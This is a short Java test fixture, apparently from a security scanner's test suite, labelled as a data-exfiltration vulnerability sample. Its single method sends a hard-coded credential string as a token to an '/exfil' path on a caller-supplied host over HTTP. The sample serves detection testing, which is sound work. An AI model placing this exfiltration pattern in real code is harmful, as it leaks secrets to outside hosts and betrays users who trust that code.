// Phase 11 (Track J.9) — Java DATA_EXFIL vuln fixture. import java.net.HttpURLConnection; import java.net.URL; public class Vuln { public static void run(String host) throws Exception { String secret = "alice-creds"; URL url = new URL("http://" + host + "/exfil?token=" + secret); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.connect(); conn.disconnect(); } }